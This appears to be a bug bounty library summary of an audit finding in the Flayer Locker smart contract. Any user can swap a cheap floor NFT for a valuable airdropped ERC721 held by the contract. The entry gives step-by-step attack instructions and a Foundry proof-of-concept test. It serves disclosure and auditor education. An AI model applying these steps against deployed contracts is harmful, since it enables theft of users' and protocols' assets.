# ERC721 Airdrop item can be redeemed/swapped out by user who is not an authorised claimant

Flayer Locker's swap/redeem lets any user exchange a floor NFT for a valuable airdropped ERC721 held by the contract, stealing it from the intended claimant.

- Payout: Audit contest
- Severity: medium
- Program: Flayer
- Found by: h2134
- Disclosed: 2024-08-06
- Write-up quality: 6/10
- Original: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/124
- Library page: https://bugbountylibrary.com/r/sherlock%3A2024-08-flayer%3AM-3
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:sherlock sev:medium tech:evm tech:solidity vuln:access-control vuln:business-logic

**Target:** Locker.sol swap()/redeem() and AirdropRecipient requestAirdrop()
**Root cause:** Airdropped ERC721s are held by the Locker contract and become indistinguishable from normal deposited tokens, so swap()/redeem() treat them as swappable inventory without checking claimant authorization.
**Steps:**
1. Owner calls `locker.requestAirdrop(address(erc721d), abi.encodeWithSignature("claimAirdrop()"))`; Locker now owns token 888.
2. Attacker mints/owns a floor token (id 1) of the same collection.
3. Attacker calls `locker.createCollection(address(erc721d), ...)` to register the collection.
4. Attacker approves Locker for token 1 and calls `locker.swap(address(erc721d), 1, 888)`.
5. Attacker now owns airdropped token 888.
**How found:** Reviewer noticed requestAirdrop() deposits ERC721s into the Locker contract itself, then reasoned that swap()/redeem() operate on any token the Locker holds, making airdropped items reachable by unrelated users.
**Exploitation:** Attacker needs only a cheap floor token of the airdropped collection; swap() exchanges it for the valuable airdropped token held by Locker, extracting the airdrop value.
**Insight:** When a contract custodies airdropped NFTs alongside user-deposited inventory, check whether swap/redeem/withdraw paths distinguish protocol-owned airdrop tokens from pooled deposits; shared custody of ERC721s is a common source of unauthorized redemption.

## Proof of concept (copied exactly from the original report)

**Foundry PoC test redeeming airdropped ERC721 via swap**

```
function testAudit_RedeemAirdroppedItem() public {
        // Airdrop ERC721
        ERC721WithAirdrop erc721d = new ERC721WithAirdrop();

        // Owner requests to claim a highly valuable airdropped item
        locker.requestAirdrop(address(erc721d), abi.encodeWithSignature("claimAirdrop()"));
        assertEq(erc721d.ownerOf(888), address(locker));

        address bob = makeAddr("Bob");
        erc721d.mint(bob, 1);

        // Bob creates a Locker collection against the airdrop collection
        vm.prank(bob);
        address collectionToken = locker.createCollection(address(erc721d), "erc721d", "erc721d", 0);

        // Bob swaps out the airdropped item
        vm.startPrank(bob);
        erc721d.approve(address(locker), 1);
        locker.swap(address(erc721d), 1, 888);
        vm.stopPrank();

        // Bob owns the airdropped item despite he is not the authorised claimant
        assertEq(erc721d.ownerOf(888), address(bob));
    }
```

